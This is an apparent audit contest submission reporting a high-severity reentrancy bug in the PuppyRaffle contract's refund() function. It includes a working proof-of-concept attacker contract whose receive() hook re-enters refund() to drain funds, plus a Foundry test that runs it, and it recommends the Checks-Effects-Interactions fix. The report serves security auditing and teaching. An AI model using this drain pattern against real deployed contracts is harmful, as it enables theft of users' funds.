Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

The reentrancy vulnerability in refund() can allow an attacker to steal all fund

Summary

The Refund() function invokes sendValue(), which includes a callback to the msg.sender before updating the state of players[playerIndex]. This creates a vulnerability that allows an attacker to perform a reentrancy attack by repeatedly calling refund() until all funds within the protocol are drained.

Vulnerability Details

For POC, use contract Drainer as below to add enterRaffle and call refund:

contract DrainRefund {
PuppyRaffle puppy;
uint256 index;
constructor(PuppyRaffle _puppy) {
puppy = _puppy;
}
function setIndex(uint256 _index) public {
index = _index;
}
receive() external payable {
if (address(puppy).balance > 0) {
puppy.refund(index);
}
}
}

Test case details:

function testDrainFund() public playersEntered {
address[] memory drainers = new address[](1);
DrainRefund drainer = new DrainRefund(puppyRaffle);
vm.deal(address(drainer), 1 ether);
vm.startPrank(address(drainer));
drainers[0] = address(drainer);
// drainer enter raffle
puppyRaffle.enterRaffle{value: entranceFee}(drainers);
uint256 index = puppyRaffle.getActivePlayerIndex(address(drainer));
// set correct index of drainer
drainer.setIndex(index);
// call refund to trigger reentrancy
puppyRaffle.refund(index);
vm.stopPrank();
}

Impact

Attacker can steal all fund in protocol

Tools Used

Manual review and foundry

Recommendations

Update players[playerIndex] before invoke sendValue(),conforming with Checks Effects Interactions pattern.

Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!